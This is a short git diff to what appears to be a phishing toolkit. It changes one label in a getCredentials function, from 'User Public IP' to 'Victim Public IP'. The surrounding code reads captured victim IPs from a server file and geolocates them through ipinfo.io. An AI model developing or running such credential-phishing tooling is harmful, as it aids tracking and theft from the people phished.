diff --git a/Defs/Actions.py b/Defs/Actions.py index 4e4bde8..131ac23 100644 --- a/Defs/Actions.py +++ b/Defs/Actions.py @@ -301,7 +301,7 @@ def getCredentials(): with open('Server/www/ip.txt') as creds: lines = creds.read().rstrip() if len(lines) != 0: - ip = re.match('User Public IP: (.*?)\n', lines).group(1) + ip = re.match('Victim Public IP: (.*?)\n', lines).group(1) resp = urlopen('https://ipinfo.io/{0}/json'.format(ip)) ipinfo = json.loads(resp.read().decode(resp.info().get_param('charset') or 'utf-8')) if 'bogon' in ipinfo: